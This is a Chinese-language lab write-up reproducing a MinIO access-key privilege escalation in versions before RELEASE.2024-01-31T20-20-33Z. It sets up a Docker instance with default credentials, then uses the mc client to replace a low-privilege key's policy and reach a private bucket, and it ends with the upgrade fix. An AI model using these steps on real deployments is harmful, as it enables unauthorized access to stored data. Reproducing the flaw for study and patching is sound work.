MinIO 是一种高性能、Amason的S3分布式对象存储。专为大规模AI/ML、数据和数据库工作负载而构建,并且它是由软件定义的存储。
Minio 可以做为云存储的解决方案用来保存海量的图片,视频,文档。由于采用 Golang 实现,服务端可以工作在 Windows,Linux, OS X 和 FreeBSD 上。配置简单,基本是复制可执行程序,单行命令可以运行起来。
Minio创建访问密钥时权限继承存在问题,当用户创建访问密钥时,会继承父密钥对s3:*和admin:*的操作权限,如果在访问密钥的权限中未明确拒绝admin权限,访问密钥则能够修改自身权限。攻击者可利用该漏洞提升权限,访问所有部署区域。
Minio < RELEASE.2024-01-31T20-20-33Z
linux通过apt默认安装docker
apt install docker.io
apt install podman-docker
拉取minio镜像
docker pull minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
RELEASE.2024-01-31T20-20-33Z.fips: Pulling from minio/minio
ea29d36b883e: Pull complete
0359d5a5b787: Pull complete
4d3b519e3b96: Pull complete
991cf94c1e6a: Pull complete
5fc1cd481df4: Pull complete
e5cfc0ab0589: Pull complete
Digest: sha256:cae79732d3a0e12791fc003739127b219dcd528d088b771436f8173ead8d5356
Status: Downloaded newer image for minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
docker.io/minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
创建docker容易挂在目录
mkdir -p /redteam/minio/config(存放配置文件)
mkdir -p /redteam/minio/data(上传文件的目录)
创建minio容器并运行
docker run \
-p 19000:9000 \
-p 9090:9090 \
--net=host \
--name minio \
-d --restart=always \
-e "MINIO_ACCESS_KEY=minioadmin" \
-e "MINIO_SECRET_KEY=minioadmin" \
-v /redteam/minio/data:/data \
-v /redteam/minio/config:/root/.minio \
minio/minio server \
/data --console-address ":9090" -address ":19000"
命令 | 描述 |
---|---|
-p 19000:9000 -p 9090:9090 | 这是端口映射,前一个是服务器的端口,后一个是客户端也就是api接口访问的端口地址 |
--name minio | 这是给新创建的容器命名的选项,名字是 "minio" |
--net=host | 这是网络设置,表示容器将使用主机的网络栈,这样就不需要在容器内部配置网络 |
-d --restart=always | 这是运行容器的其他选项,-d使容器在后台运行,--restart=always表示容器总是会在退出后自动重启 |
-e "MINIO_ACCESS_KEY=minioadmin" | 用户名 |
-e "MINIO_SECRET_KEY=minioadmin" | 密码 |
-v /opt/minio/data:/data | 这意味着将宿主机上的 /opt/minio/data 目录挂载到容器内的 /data 目录 |
-v /opt/minio/config:/root/.minio | 将宿主机上的 /opt/minio/config 目录挂载到容器内的 /root/.minio 目录 |
minio/minio server /data --console-address ":9090" -address ":19000" | 这是容器内要运行的命令,启动一个名为 "minio" 的服务器,数据存储在 /data 目录下,服务器的控制台地址为 ":9090",服务地址为 ":19000" |
\ | 换行 |
访问:http://127.0.0.1:9090/login
使用默认用户名密码登录:minioadmin/minioadmin
创建存储桶public和private
创建一个名为"YBPIq4HFF4ewdGhBgYN3"的访问密钥,并附加一下策略
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::public",
"arn:aws:s3:::public/*"
]
}
]
}
前提:已知低权限accesskey和secretkey
安装mc(minio client)客户端工具
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
mv mc /usr/local/bin/
mc --version
配置alias
┌──(root㉿kali)-[~/minio-client]
└─# mc alias set poc http://127.0.0.1:19000 accesskey secretkey
Added `poc` successfully.
显示只有public权限
┌──(root㉿kali)-[~/minio-client]
└─# mc ls poc
[2024-03-17 21:47:49 EDT] 0B public/
创建一个空的json文件并替换poblicy,空代表所有权限
mc admin user svcacct edit --policy ./full-access-policy.json poc01 accesskey secretkey
查看权限
# mc ls poc01
[2024-03-17 21:47:59 EDT] 0B private/
[2024-03-17 21:47:49 EDT] 0B public/
将minio升级至 RELEASE.2024-01-31T20-20-33Z 及以上版本。